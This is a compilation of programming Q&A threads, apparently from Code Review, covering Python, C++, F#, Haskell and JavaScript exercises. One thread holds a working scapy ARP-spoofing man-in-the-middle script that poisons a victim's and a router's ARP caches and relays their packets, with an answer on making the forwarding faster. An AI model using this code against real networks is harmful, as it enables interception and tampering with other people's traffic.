Copying data to a .txt, but making it look nice? This is probably horribly sloppy, but here it is! This is a section from a large (imo) GUI program I am making. The below code is what triggers when a specific button is pressed.

 def calc_platenumber(self):
    customer_firstname = str(self.customer2_entry.get())
    customer_lastname = str(self.customer3_entry.get())

    infile = open('license_numbers.txt', 'r')

    license_numbers = infile.readlines()

    infile.close()

    self.platenmb = random.choice(license_numbers)

    self.platenumber.set(self.platenmb)

    license_numbers.remove(self.platenmb)

    outfile = open('license_numbers.txt', 'w')

    for item in license_numbers:
        outfile.write(item)

    outfile.close()

    infile = open('used_license_numbers.txt', 'r')
    used_license_numbers = infile.readlines()
    infile.close()

    used_license_numbers.append(self.platenmb)
    used_license_numbers.append(customer_firstname)
    used_license_numbers.append(customer_lastname)

    outfile = open('used_license_numbers.txt', 'w')

    for item in used_license_numbers:
        outfile.write(item)

    outfile.close()

So, I have a GUI that asks for the first name and last name of the person. There is a generate button below that. The generate button will take a random license number from a large list of available numbers, remove it from that list, and then add it to a list of "used" license numbers. That is the function you see here. When it adds it to this second list, I want it to also take their name and add it as well. I have made it do that.

Problem is, whenever it adds it, it looks sloppy. No spaces or anything. I would rather it add on like...

Tim Bob C565213

And then whenever the next person uses the program, the file is updated to say...

Tim Bob C565213
Jim Bean 1234F324

...And so on. Currently it just looks sloppy, and even if sloppy won't matter (this is just a school project), it is going to bother me.

You could do a better job describing the task; the task description should be a docstring.  I would also rename the function to select_platenumber(), since it's not really calculating anything.

If you're using plain text files as a database, watch out for race conditions.  Unless you implement some kind of locking mechanism, you could easily end up with corrupted files.

As @JamesKhoury says, you should only have to open each file once, using a with block.  Use the appropriate mode: you only need to append to the output file.  For the input file, you can truncate and overwrite it.

For efficiency, I prefer to select a random array index rather than a random array element.  Selecting a random element is more readable, but to remove that element involves a linear search through the list.

I think it would be safer to write the used_license_numbers.txt entry before overwriting license_numbers.txt, in case of an I/O error.  (You could have inconsistent data, but at least you would be less likely to lose data.)

Having similarly variables self.platenmb and self.platenumber is confusing.

def select_platenumber(self):
    """Selects and removes a random line from license_numbers.txt as the
       license plate, and appends a line to used_license_numbers.txt
       recording the license plate and customer name.
    """
    firstname = str(self.customer2_entry.get())
    lastname = str(self.customer3_entry.get())

    with open('license_numbers.txt', 'r+') as in_file, \
         open('used_license_numbers.txt', 'a') as out_file:
        plates = in_file.readlines()
        self.platenmb = plates.pop(random.randrange(len(plates))).rstrip()
        self.platenumber.set(self.platenmb)

        out_file.write('%-19s %s %s\n' % (plate, firstname, lastname))

        in_file.truncate(0)
        in_file.writelines(plates)


Speeding up forwarding of Ethernet frames in Python ARP spoof I've followed a few tutorials on ARP Spoofing with Python/scapy. They all suggest activating the OS IP Forwarding in Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward

This worked fine for me but has the disadvantage that I can't tamper with packets. Since I will need to demonstrate modifying a packet before sending it along I need to handle the forwarding myself. I came up with this:
from scapy.all import *
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from threading import Thread
import time

victim_ip = '192.168.0.2'
victim_mac = 'b0:34:95:ee:ee:b6'
router_ip = '192.168.0.1'
router_mac = 'C0:3E:0F:29:4F:EC'
attack_ip = '192.168.0.10'
attack_mac = '08:00:27:80:bd:26'

poison_timer = .1

def monitor_callback(pkt):
    # Only handle IP Layer packets
    if IP in pkt:
        # Forward packets from the victim to the router
        if pkt[Ether].src == victim_mac:
            pkt[Ether].dst = router_mac
            pkt[Ether].src = attack_mac
            sendp(fragment(pkt), verbose=0)
        # Packets destined to the victim are forwarded
        elif pkt[IP].dst == victim_ip:
            pkt[Ether].dst = victim_mac
            pkt[Ether].src = attack_mac
            sendp(fragment(pkt), verbose=0)

class monitor_incoming(Thread):
    def __init__(self):
        Thread.__init__(self)

    def run(self):
        sniff(prn=monitor_callback, filter="ip", store=0)

class poison(Thread):
    def __init__(self):
        Thread.__init__(self)

    def run(self):
        # Tell the victim 'router_ip is at attack_mac'
        router_is_at = ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst=attack_mac)

        # Tell the router 'victim_ip is at attack_mac'
        victim_is_at = ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst=attack_mac)

        while True:
            send(router_is_at, verbose=0)
            send(victim_is_at, verbose=0)
            time.sleep(poison_timer)

if __name__ == '__main__':
    monitor_incoming = monitor_incoming()
    monitor_incoming.start()

    poison = poison()
    poison.start()

The monitor_callback method is called every time an incoming packet arrives.
The program technically works. The router and the victim's ARP tables are poisoned and packets are "forwarded" past the middle-man.
The forwarding seems to be too slow though. Looking at Wireshark, it appears that the TCP Timer on both the victim and the server times out causing them to resend their packets before they're delivered. This leads to some kind of loop where they're each retransmitting and ACKing out sync packets. The bottom effect is that the victim can't even load a single small web page:

What is wrong with my program? It should technically be feasible to handle this in Python and still have a workable (even if slower) connection allowing the victim to browse the net.
(Note: I'm posting this on Code Review because the program technically works, even if it's not currently usable in practice, likely due to low optimization)

I had the same problem. You need to set up a reusable scapy.L2socket socket and call send(pkt) on it, instead of using sendp.

It is much faster. Here you can see how to do it:

https://home.regit.org/2014/04/speeding-up-scapy-packets-sending/

The diff/change from using a normal sendp looks like this:

@@ -27,6 +27,7 @@ class replay:
     def run(self):
         # open filename
         filedesc = open(self.filename, 'r')
+        s = conf.L2socket(iface=self.iface)
         # loop on read line
         for line in filedesc:
             # Build and send packet
-            sendp(pkt, iface = self.iface, verbose = verbose)
+            s.send(pkt)


On tkinter: scrolling multiple widgets simultaneously in different frames Below is an example on how to scroll two canvasses in two separate frames simultaneously. The trick is on how to pass on *args from the bindings to function onscroll for scrolling and onresize for changing the dimensions of the rectangle using lambda in the commands: Scrollbar(frame3, orient='vertical', command=lambda *args: onscroll('axis', *args)) and Button(frame3, text='reduce ', command=lambda *args: onresize(False, *args)).

Is this the best way to handle this?

import tkinter as tk
from tkinter import Frame, Canvas, Scrollbar, Button

global size_x, size_y, canvas1, canvas2, block1, block2
size_x = size_y = 150
block1 = block2 = ''

def onscroll(axis, *args):
    global canvas1, canvas2
    print(f'axis: {axis} and args are {[*args]}                           ',
          end='\r')
    if axis == 'x-axis':
        canvas1.xview(*args)
        canvas2.xview(*args)
    elif axis == 'y-axis':
        canvas1.yview(*args)
        canvas2.yview(*args)

    else:
        assert False, f"axis {axis} is incorrect, use 'x-axis' or 'y-axis'"

def onresize(enlarge, *args):
    global size_x, size_y
    print(f'enlarge: {enlarge} and args are {[*args]}                    ',
          end='\r')
    if enlarge:
        size_x *= 1.1
        size_y *= 1.1
    else:
        size_x /= 1.1
        size_y /= 1.1

def main():
    global canvas1, canvas2, block1, block2
    root = tk.Tk()
    frame1 = Frame(root, bg='grey')
    frame1.grid(row=0, column=0)
    frame2 = Frame(root, bg='grey')
    frame2.grid(row=0, column=1)
    frame3 = Frame(root, bg='grey')
    frame3.grid(row=0, column=2)

    yscrollbar = Scrollbar(frame3, orient='vertical',
                           command=lambda *args: onscroll('y-axis', *args))
    yscrollbar.pack(side='right', fill='y', expand='yes')
    xscrollbar = Scrollbar(frame3, orient='horizontal',
                           command=lambda *args: onscroll('x-axis', *args))
    xscrollbar.pack(side='bottom', fill='x', expand='yes')

    reduce_button = Button(frame3, text='reduce ',
                           command=lambda *args: onresize(False, *args))
    reduce_button.pack(side='right', anchor='ne')
    enlarge_button = Button(frame3, text='enlarge',
                            command=lambda *args: onresize(True, *args))
    enlarge_button.pack(side='right', anchor='ne')

    canvas1 = Canvas(frame1, width=200, height=200, bg="blue",
                     scrollregion=(0, 0, 500, 500),
                     yscrollcommand=yscrollbar.set,
                     xscrollcommand=xscrollbar.set)
    canvas1.pack(side='right')
    canvas2 = Canvas(frame2, width=200, height=200, bg="yellow",
                     scrollregion=(0, 0, 500, 500),
                     yscrollcommand=yscrollbar.set,
                     xscrollcommand=xscrollbar.set)
    canvas2.pack()

    canvas3 = Canvas(frame3, width=200, height=200, bg='pink')
    canvas3.pack()

    while True:
        canvas1.delete(block1)
        canvas2.delete(block2)
        block1 = canvas1.create_rectangle(100, 100, size_x, size_y,
                                          fill='orange')
        block2 = canvas2.create_rectangle(100, 100, size_x, size_y,
                                          fill='blue')
        root.update()

    root.mainloop()

if __name__ == "__main__":
    main()

Remove unnecessary imports

You're importing parts of tkinter twice, Remove this line:

from tkinter import Frame, Canvas, Scrollbar, Button

Then, whenever you need to use Frame, Canvas, etc, use tk.Frame, tk.Canvas, etc.

Don't create your own event loop

You have code that looks like this:

while True:
    <some code>
    root.update()

Instead, call mainloop once, move <some code> into a function, and call it with after if you need it to run in a loop.

def redraw():
    <some code>
    root.after(50, redraw)
root.mainloop()

Don't continually delete and recreate items on a canvas

You're continually deleting and recreating identical items on a canvas. This is inefficient and will eventually call tkinter to crash. The canvas widget does not re-use canvas ids, so each time you create a new object you get a new id. There is a limited number of ids that tkinter can manage.

Instead, create the items once, and then if you need to change them, change the existing items

def draw():
    global block1, block2
    block1 = canvas1.create_rectangle(100, 100, size_x, size_y,
                                      fill='orange')
    block2 = canvas2.create_rectangle(100, 100, size_x, size_y,
                                      fill='blue')

def redraw():
    global block1, block2
    canvas1.itemconfigure(block1, ...)
    canvas2.itemconfigure(block2, ...)

Group your layout code together

Intermixing widget creation and widget layout makes the code hard to read.

Consider this:

frame1 = Frame(root, bg='grey')
frame1.grid(row=0, column=0)
frame2 = Frame(root, bg='grey')
frame2.grid(row=0, column=1)
frame3 = Frame(root, bg='grey')
frame3.grid(row=0, column=2)

I recommend splitting this into two blocks:

frame1 = Frame(root, bg='grey')
frame2 = Frame(root, bg='grey')
frame3 = Frame(root, bg='grey')

frame1.grid(row=0, column=0)
frame2.grid(row=0, column=1)
frame3.grid(row=0, column=2)

I think this makes the code much easier to read because I can see at a glance that you're creating three frames, and that each frame is going into a separate column. In the original code it's not nearly as easy to see this without closely reading the code.

Use separate functions for scrolling in x and y direction

Your use of an argument to specify x-axis or y-axis makes the code a little bit harder to understand. Instead, I recommend using two separate functions.

For example:

def scroll_x(*args):
    global canvas1, canvas2
    canvas1.xview(*args)
    canvas2.xview(*args)

def scroll_y(*args):
    global canvas1, canvas2
    canvas1.yview(*args)
    canvas2.yview(*args)
...
yscrollbar = Scrollbar(frame3, orient='vertical', command=scroll_y)
xscrollbar = Scrollbar(frame3, orient='horizontal', command=scroll_x)

Notice how it makes the code much easier to read, since we can replace the complicated lambda with a much simpler command.


Python - Iterating over contents of BeautifulSoup element very slow I have a large HTML document where everything is inside a main div, structured like this:

    \\block 1

content1acontent1b

content1c

    \\block 2

content2acontent2b

content2c

    ...

As you can see the contents of the header divs are related to the paragraphs, so my Python code separates these tag blocks into lists of a list so I can take out their contents later:

main_div = soup.find("div", class_="main")
headers = main_div.find_all("div", class_="header")

all_blocks = []
current_block = []

for tag in main_div.contents:
    if tag in headers:
        all_blocks.append(current_block)
        current_block = [tag]
    else:
        current_block.append(tag)

all_blocks.append(current_block)  # append final block
all_blocks = all_blocks[1:]  # take off first empty list

Problem is this seems to take forever on a ~12MB HTML file I'm feeding it (less than 1% done after 1h, while parsing the file with bs4 only took 25s).
Is there something really inefficient in my code or is this going to be slow anyway?

It seems like you have the following:

a

b

c

d

And you want to extract a list of the headers grouped with the content:

[('a', 'b'), ('c', 'd')]

The slow part of your code is most certainly the if tag in headers. If header is a list of 10k elements, then for each element in .main you are searching through potentially 10k elements. This is horribly inefficient. If headers was a set, this would be more efficient, but there's no need for it to be (or for you to check if tag in headers).

def get_header_content_pairs(doc):
    main = doc.find("div", class_="main")
    headers = main.find_all("div", class_="header")

    for header in headers:
        yield (header, list(get_content(header.nextSibling)))

def get_content(element):
    while element.name == 'p':
        yield element
        element = element.nextSibling

Haven't tested this, but the gist is instead of doing all that work, you take advantage of the fact that each BS element knows about its nextSibling. You find all of the .headers. For each of them, you continue checking nextSibling until you find something that isn't a
. You aggregate these and return them with their header.


Roslyn analyzer, converted from C# to F# I'm learning F# and for an exercise, I took a roslyn analyzer in C# and ported it to F#.

In the excerpt below the GetParameterInfo function:

takes in ArgumentSyntax which describes an argument passed to a
C# method at an invocation site.
And finds the corresponding IParameterSymbol which describes the method's parameter at the point in code where the method is defined.

Here it is:

module UseNamedArgs.ParameterInfo

open System
open System.Collections.Immutable
open Microsoft.CodeAnalysis
open Microsoft.CodeAnalysis.CSharp.Syntax
open UseNamedArgs.CSharpAdapters
open UseNamedArgs.MaybeBuilder

type ParameterInfo = {
    MethodOrProperty : ISymbol;
    Parameter : IParameterSymbol }

type ISymbol with
    member symbol.GetParameters() =
        match symbol with
        | :? IMethodSymbol as s   -> s.Parameters
        | :? IPropertySymbol as s -> s.Parameters
        | _                       -> ImmutableArray<IParameterSymbol>.Empty
        |> Seq.toList

/// <summary>
/// To be able to convert positional arguments to named we need to find
/// corresponding <see cref="IParameterSymbol" /> for each argument.
/// </summary>
type SemanticModel with
    member sema.GetParameterInfo (argument: ArgumentSyntax) =
        maybe {
            let argList = argument.Parent :?> ArgumentListSyntax
            let exprSyntax = argList.Parent  :?> ExpressionSyntax
            let methodOrProperty = sema.GetSymbolInfo(exprSyntax).Symbol
            let! parameters = methodOrProperty.GetParameters() |> Option.ofList
            if isNull argument.NameColon then
                // A positional argument.
                match argList.Arguments.IndexOf(argument) with
                | index when index >= 0 && index < parameters.Length ->
                    return { MethodOrProperty = methodOrProperty;
                             Parameter = parameters.[index] }
                | index when index >= parameters.Length
                             && parameters.[parameters.Length - 1].IsParams ->
                    return { MethodOrProperty = methodOrProperty;
                             Parameter = parameters.[parameters.Length - 1] }
                | _ -> return! None
            else
                // Potentially, this is a named argument.
                let! name = argument.NameColon.Name |> Option.ofObj
                let! nameText = name.Identifier.ValueText |> Option.ofObj
                // Yes, it's a named argument.
                let! parameter = parameters |> Seq.tryFind (fun param ->
                    String.Equals(param.Name,
                                  nameText,
                                  StringComparison.Ordinal))

                return { MethodOrProperty = methodOrProperty;
                         Parameter = parameter }
}

The original C# code of this snippet was adapted from
CSharpEssentials
The maybe computational expression is defined in
MaybeBuilder
— but it's likely pretty much what you'd expect a maybe to be.

How can I change the code so it'll be more idiomatic F#?
And is it even anywhere in the ballpark of idiomatic F#?

I feel we can traverse the Roslyn AST but it's chatty and boring for write with a lot of non aspect code fragment :(

My suggestion for reference is my experimental project "F# Active pattern library for Roslyn Compiler Platform" can ease for use Roslyn AST directly F# pattern matching syntax.

https://github.com/kekyo/Microsoft.CodeAnalysis.ActivePatterns


Basic TicTacToe implementation in C++ Just created my first C++ project, and wondering if I could get some feedback on where to improve? I might swap from arrays to vectors and add alpha beta pruning later, but wanted to first see where I can improve on the base code.
#include <iostream>
#include <cmath>

const char PLAYER_ONE_MARKER = 'X';
const char PLAYER_TWO_MARKER = 'O';
const char UNFILLED_MARKER = ' ';

char board[3][3];
const int MAX_TURNS = sizeof(board);

void drawBoard();
void placeMarker(bool isPlayerOne, int row, int col);
bool checkValidInput(int row, int col);
bool checkWon(int row, int col);

int  main()
{
    int row, col;
    bool isPlayerOneTurn = true;
    int turn = 0;
    bool isGameRunning = true;
    bool isValidInput;

    // fills board with unfilled_marker
    std::fill(&board[0][0], &board[0][0] + sizeof(board) / sizeof(board[0][0]), ' ');

    while (isGameRunning)
    {
        // loops until we get a valid set of input from player
        isValidInput = false;
        do {
            std::cout << "Player " << (isPlayerOneTurn ? "1" : "2") << ", what is your move?\n";
            std::cin >> row >> col;

            isValidInput = !std::cin.fail() && checkValidInput(row, col);
            std::cin.clear();
            std::cin.ignore(10, '\n');

        } while (!isValidInput);

        placeMarker(isPlayerOneTurn, row, col);

        // after we place marker, check if player has won
        if (checkWon(row, col)) {
            std::cout << "Player " << (isPlayerOneTurn ? "1" : "2") << " has won!\n";
            isGameRunning = false;
        }
        else if (++turn >= MAX_TURNS) {
            std::cout << "It's a draw\n";
            isGameRunning = false;
        }
        drawBoard();

        // switches to other player's turn
        isPlayerOneTurn = !isPlayerOneTurn;
    }

    return 0;
}

void drawBoard()
{
    int rows = sizeof(board) / sizeof(board[0]);
    for (int i = 0; i < rows; ++i)
    {
        std::cout << board[i][0] << "  |  " << board[i][1] <<
            "  |  " << board[i][2] << std::endl;

        // draws line between rows
        if (i < rows - 1)
        {
            std::cout << "---------------\n";
        }
    }

}

bool checkValidInput(int row, int col)
{
    if (row < 0 || col < 0 || row > 2 || col > 2) return false;

    // checks if position supplied is already marked
    return board[row][col] == UNFILLED_MARKER;
}

void placeMarker(bool isPlayerOne, int row, int col)
{
    char marker = isPlayerOne ? PLAYER_ONE_MARKER : PLAYER_TWO_MARKER;
    board[row][col] = marker;
}

// given the move played, check if user has won
bool checkWon(int row, int col)
{
    // first check for horizontal/vertical victory cases
    if (board[row][0] == board[row][1] && board[row][1] == board[row][2]) return true;
    if (board[0][col] == board[1][col] && board[1][col] == board[2][col]) return true;

    // for top-left to bottom-right diagonals, row and col must be the same
    // for instance (0, 0) - (1, 1) - (2, 2)
    // for bottom left to top-right, one of th terms must be (0, 2) or (2, 0)
    // hence we can just use abs(row - col) == 2 to test
    if (row == col || std::abs(row - col) == 2) {
        if (board[0][0] == board[1][1] && board[1][1] == board[2][2]
            && board[1][1] != UNFILLED_MARKER) return true;
        if (board[2][0] == board[1][1] && board[1][1] == board[0][2]
            && board[1][1] != UNFILLED_MARKER) return true;
    }

    return false;
}

This is not at all a bad effort for someone new to the C++ language.  Here are some things that may help you improve your program.
Use the required #includes
The code uses std::fill which means that it should #include <algorithm>.  It was not difficult to infer, but it helps reviewers if the code is complete.
Eliminate global variables where practical
The code declares and uses a global variable, board.  Global variables obfuscate the actual dependencies within code and make maintainance and understanding of the code that much more difficult.  It also makes the code harder to reuse.  For all of these reasons, it's generally far preferable to eliminate global variables and to instead pass pointers to them.  That way the linkage is explicit and may be altered more easily if needed.  One could create the board within main and then pass a pointer or reference to it to the other routines that need it, or better yet, see the next suggestion.
Use a C++ object
Rather than using the global variable board and then having separate functions that manipulate that variable such as drawBoard() and placeMarker() in an object-oriented language such as C++ we can gather these together into an object.  That might look something like this:
class Board {
public:
    Board();
    void drawBoard();
    void placeMarker(bool isPlayerOne, int row, int col);
    bool checkValidInput(int row, int col);
    bool checkWon(int row, int col);
    static constexpr char PLAYER_ONE_MARKER = 'X';
    static constexpr char PLAYER_TWO_MARKER = 'O';
    static constexpr char UNFILLED_MARKER = ' ';
    static constexpr size_t numrows = 3;
    static constexpr size_t numcols = 3;
    static constexpr unsigned max_turns = numrows * numcols;
private:
    char board[3][3];
};

Eliminate "magic numbers"
There are a few numbers in the code, such as 3 and 2 that have a specific meaning in their particular context.  By using named constants such as numrows or numcols, the program becomes easier to read and maintain.
Don't use std::endl if you don't really need it
The difference betweeen std::endl and '\n' is that '\n' just emits a newline character, while std::endl actually flushes the stream.  This can be time-consuming in a program with a lot of I/O and is rarely actually needed.  It's best to only use std::endl when you have some good reason to flush the stream and it's not very often needed for simple programs such as this one.  Avoiding the habit of using std::endl when '\n' will do will pay dividends in the future as you write more complex programs with more I/O and where performance needs to be maximized.
Consider using a standard container
There is little reason in modern C++ to use a plain array rather than a standard container such as std::array.  I'd suggest that board could be this instead:
std::array<char,max_turns> board;

The initialization would then be much more easily written:
std::fill(board.begin(), board.end(), UNFILLED_MARKER);

Note that this form would require the conversion of row,column coordinates but if this is placed in an object, that detail can easily be isolated to within the object.
Don't use ALL_CAPS for constants
The use ALL_CAPS for constants defined as macros has been common practice for decades.  To avoid misleading readers of your program, non-macro constants should not be ALL_CAPS.  See ES.9 for details.


Project Euler Problem 12 in Python 3 (Find triangle number with 500 divisors) I am doing Project Euler, and 12 is the one that takes significantly longer then everything else.

Here is my code:

# The sequence of triangle numbers is generated by adding the natural numbers. So the 7th triangle number would be
# 1 + 2 + 3 + 4 + 5 + 6 + 7 = 28.
# The first ten terms would be:
#
# 1, 3, 6, 10, 15, 21, 28, 36, 45, 55, ...
#
# Let us list the factors of the first seven triangle numbers:
#
# Omitted
#
# We can see that 28 is the first triangle number to have over five divisors.
#
# What is the value of the first triangle number to have over five hundred divisors?

import time

start = time.time()

def count_factors(num):
    # One and itself are included now
    count = 2
    for i in range(2, num):
        if num % i == 0:
            count += 1
    return count

def tri_nums(num):
    return int(num * (num + 1) / 2)

x = 500

while True:
    if count_factors(tri_nums(int(x))) > 500:
        break
    x += 1

print('The answer is', tri_nums(x))

print('Answer found in', time.time() - start, 'seconds')

# The answer is 76576500
# Answer found in 36164.39957642555 seconds

The first time that I ran this code it took over 10 hours.
I can't really think of any ways to make this faster, but I am sure that there are.

Also, is count_factors() faster than:

def factors(num):
for i in range(1, num):
    if num % i == 0:
        yield i

As @vnp notes in the comments, the fact that triangular numbers are products of coprime numbers allow for very efficient factorization - see this thread for an illustration of the idea in Java, easily carryable over to Python - which I'll illustrate in my code too.

The idea here is that since the \$n\$th triangular number is the product of 2 numbers \$n\$ and \$\displaystyle\lfloor\frac{n+1}{2}\rfloor\$, which implies that if \$n\$ is even then \$\displaystyle\frac{n}{2}\$ and \$n+1\$ are 2 relatively prime integers, whereas if \$n\$ is odd then \$\displaystyle\frac{n+1}{2}\$ and \$n\$ are 2 relatively prime integers. This makes factorizing the resultant \$n\$th triangular number take less time as now a divide-and-conquer approach can be employed, making this part of the algorithm \$\mathrm{O}(\log_2n)\$ in time.

As I previously posted in my comment to the question, this StackOverflow thread is a good reference for efficient factorization, especially the first answer there.

The idea is that there can be no prime factors of a number greater than its square root, and factors are paired in the sense that each factor \$i\$ of a number \$\text{num}\$ has a complementary factor \$\displaystyle\frac{\text{num}}{i}\$. Thus we can use a sublinear time algorithm to factorize integers, which involves enumerating to only \$\lceil\sqrt{\text{num}}\ \ \rceil\ (\mathrm{O}(\text{num}^{\frac{1}{2}}))\$ instead of \$\text{num} - c\ (\mathrm{O}(\text{num}))\$, where \$c\$ is some constant factor.

That gives us the major time savings.

You adhere to the Python style guide, PEP8, quite well, so I have no stylistic comments for you, except for the fact that tri_nums could be a bit more descriptive, e.g., triangular_numbers (you're using an editor with autocomplete support, aren't you?)

Side notes:

The while loop searching for the required number can and should be extracted into a function, which receives the initial value of x as a parameter, instead of hard-coding it to 500.
The timing and actual execution should be moved into a main() function, which is called using the standard script idiom of if __name__ == "__main__".
The floor (or integer) division operator // makes all those casts to int redundant.
Use a proper benchmarking toolkit for timing execution, with recommended best practices, e.g. timeit.
Last but the most important - the while True: ... if <condition>: break ... idiom is frowned upon in the community, when an equivalent while not <condition>: ... can be used without control flow redirection. It makes reasoning about the code more linear.

Finally, here is the code (only minimally changed from your original to incorporate my suggestions):

# The sequence of triangle numbers is generated by adding the natural numbers. So the 7th triangle number would be
# 1 + 2 + 3 + 4 + 5 + 6 + 7 = 28.
# The first ten terms would be:
#
# 1, 3, 6, 10, 15, 21, 28, 36, 45, 55, ...
#
# Let us list the factors of the first seven triangle numbers:
#
# Omitted
#
# We can see that 28 is the first triangle number to have over five divisors.
#
# What is the value of the first triangle number to have over five hundred divisors?

import time
import math

def count_factors(num):
    # One and itself are included now
    count = 2
    for i in range(2, int(math.sqrt(num)) + 1):
        if num % i == 0:
            count += 2
    return count

def triangle_number(num):
    return (num * (num + 1) // 2)

def divisors_of_triangle_number(num):
    if num % 2 == 0:
        return count_factors(num // 2) * count_factors(num + 1)
    else:
        return count_factors((num + 1) // 2) * count_factors(num)

def factors_greater_than_triangular_number(n):
    x = n
    while divisors_of_triangle_number(x) <= n:
        x += 1
    return triangle_number(x)

def main():
    start = time.time()
    print('The answer is', factors_greater_than_triangular_number(500))
    print('Answer found in', time.time() - start, 'seconds')

if __name__ == '__main__':
    main()

This runs in about 0.01 seconds on my system (CPython 3.6.0 Windows x64, Windows 10 Pro 1703, Intel™ Core i7 6500U (Dual Core), 8GB RAM).

I cannot believe that on your system it really took over 10 hours to run - do comment with details of your system like I did above and let me know how much better this version does!


Implementing `and` and `or` I implemented and and or:

-- or is like and, only it returns True if
-- any of the boolean values in a list is True.
or' :: [Bool] -> Bool
or' []     = False
or' (x:xs) = x || or' xs

--and takes a list of boolean values and returns True only if
-- all the values in the list are True.
and' :: [Bool] -> Bool
and' [] = False
and' (x:xs) = x && and' xs

Is pattern matching the most elegant solution here?

Also, should or' [] and and' [] return False? It makes sense for them to do so when passing in a non-null input.

Example: or' [False, False]

But, how about the behavior of or' [] or and' []? Does False make sense here?

Consider that Bool is an algebraic data structure like any other in Haskell. Pattern matching is the most elegant solution, but you can use even more of it to be even more elegant!

-- import Prelude hiding (or)

or :: [Bool] -> Bool
or []         = False
or (False:bs) = or bs
or (True :_ ) = True


Simple example to get started with a browser based game Here is a "hello world" simple skeleton I wrote to get started on an HTML5/javascript game. I converted it from a python example provided in Coursera's "An Introduction to Interactive Programming in Python" which demonstrates how to start moving a ball around a canvas using arrow keys.

I did this as a learning exercise to get to grips with javascript. While I've got this code to pass jslint, I was wondering if more experienced javascript coders could suggest better ways of doing this.

var canvas, context, ball_pos, vel, keys = {};

var BALL_RADIUS = 20;

function init() {
    'use strict';
    canvas = document.getElementById('c');
    context = canvas.getContext('2d');
    ball_pos = [canvas.width / 2, canvas.height / 2];
    vel = 4;
}

function draw() {
    'use strict';

    // draw background
    context.fillStyle = 'black';
    context.fillRect(0, 0, canvas.width, canvas.height);

    // draw ball
    context.strokeStyle = 'red';
    context.lineWidth = 2;
    context.fillStyle = 'white';
    context.beginPath();
    context.arc(ball_pos[0], ball_pos[1], BALL_RADIUS, 0, Math.PI * 2, true);
    context.closePath();
    context.fill();
    context.stroke();
}

function keydown(evt) {
    'use strict';
    // mozilla based browsers return which and others keyCode
    var keyCode = evt.which || evt.keyCode;
    keys[keyCode] = true;
    // alert(keyCode)
    // 33 up right
    // 34 down right
    // 35 down right
    // 36 up left
    if (keys[37]) { // left
        ball_pos[0] -= vel;
    }
    if (keys[38]) { // up
        ball_pos[1] -= vel;
    }
    if (keys[39]) { // right
        ball_pos[0] += vel;
    }
    if (keys[40]) { // down
        ball_pos[1] += vel;
    }
}

function keyup(evt) {
    'use strict';
    var keyCode = evt.which || evt.keyCode;
    delete keys[keyCode];
}

function animate() {
    'use strict';
    window.requestAnimationFrame(animate);
    draw();
}

// register event handlers
window.onkeydown = keydown;
window.onkeyup = keyup;

init();
animate();
<!DOCTYPE HTML>
<html>
<head>
  <meta charset="utf-8">
</head>
<body>
  <canvas id="c" width="600" height="400"></canvas>
</body>
</html>

Instead of using ball_pos as an array with two elements to contain the x and y coordinate values of the ball,
it would be more natural to use a an object like this:

ball = {
    x: canvas.width() / 2,
    y: canvas.height() / 2
}

Instead of writing keys[37] and explaining with a comment // left what the number means,
it would be better to put that in a well-named variables, for example:

var KEY_LEFT = 37;

Then you can rewrite the conditions like this:

if (keys[KEY_LEFT]) {
    ball.x -= vel;
}
if (keys[KEY_UP]) {
    ball.y -= vel;
}

Putting it together:

var canvas, context, ball, vel, keys = {};

var BALL_RADIUS = 20;
var KEY_LEFT = 37;
var KEY_UP = 38;
var KEY_RIGHT = 39;
var KEY_DOWN = 40;

function init() {
    'use strict';
    canvas = document.getElementById('c');
    context = canvas.getContext('2d');
    ball = { x: canvas.width / 2, y: canvas.height / 2 };
    vel = 4;
}

function draw() {
    'use strict';

    // draw background
    context.fillStyle = 'black';
    context.fillRect(0, 0, canvas.width, canvas.height);

    // draw ball
    context.strokeStyle = 'red';
    context.lineWidth = 2;
    context.fillStyle = 'white';
    context.beginPath();
    context.arc(ball.x, ball.y, BALL_RADIUS, 0, Math.PI * 2, true);
    context.closePath();
    context.fill();
    context.stroke();
}

function keydown(evt) {
    'use strict';
    // mozilla based browsers return which and others keyCode
    var keyCode = evt.which || evt.keyCode;
    keys[keyCode] = true;
    // alert(keyCode)
    // 33 up right
    // 34 down right
    // 35 down right
    // 36 up left
    if (keys[KEY_LEFT]) {
        ball.x -= vel;
    }
    if (keys[KEY_UP]) {
        ball.y -= vel;
    }
    if (keys[KEY_RIGHT]) {
        ball.x += vel;
    }
    if (keys[KEY_DOWN]) {
        ball.y += vel;
    }
}

function keyup(evt) {
    'use strict';
    var keyCode = evt.which || evt.keyCode;
    delete keys[keyCode];
}

function animate() {
    'use strict';
    window.requestAnimationFrame(animate);
    draw();
}

// register event handlers
window.onkeydown = keydown;
window.onkeyup = keyup;

init();
animate();
<!DOCTYPE HTML>
<html>
<head>
  <meta charset="utf-8">
</head>
<body>
  <canvas id="c" width="600" height="400"></canvas>
</body>
</html>


Create palindrome by rearranging letters of a word Inspired by a recent question that caught my interest (now deleted), I wrote a function in Python 3 to rearrange the letters of a given string to create a (any!) palindrome:

Count the occurrences of each letter in the input
Iterate over the resulting (letter, occurrences) tuples only once:

If the occurences are even, we remember them to add them around the center later
A valid palindrome can contain only 0 or 1 letter(s) with an odd number of occurrences, so if we've already found the center, we raise an exception. Otherwise, we save the new-found center for later

Finally, we add the sides around the center and join it to create the resulting palindrome string.

I'm looking for feedback on every aspect you can think of, including

readability (including docstrings),
how appropriate the data structures are,
if the algorithm can be expressed in simpler terms (or replaced altogether) and
the quality of my tests.

Implementation: palindromes.py

from collections import deque, Counter

def palindrome_from(letters):
    """
    Forms a palindrome by rearranging :letters: if possible,
    throwing a :ValueError: otherwise.
    :param letters: a suitable iterable, usually a string
    :return: a string containing a palindrome
    """
    counter = Counter(letters)
    sides = []
    center = deque()
    for letter, occurrences in counter.items():
        repetitions, odd_count = divmod(occurrences, 2)
        if not odd_count:
            sides.append(letter * repetitions)
            continue
        if center:
            raise ValueError("no palindrome exists for '{}'".format(letters))
        center.append(letter * occurrences)
    center.extendleft(sides)
    center.extend(sides)
    return ''.join(center)

Unit tests: test_palindromes.py (using py.test)

def test_empty_string_is_palindrome():
    assert palindrome_from('') == ''

def test_whitespace_string_is_palindrome():
    whitespace = ' ' * 5
    assert palindrome_from(whitespace) == whitespace

def test_rearranges_letters_to_palindrome():
    assert palindrome_from('aabbb') == 'abbba'

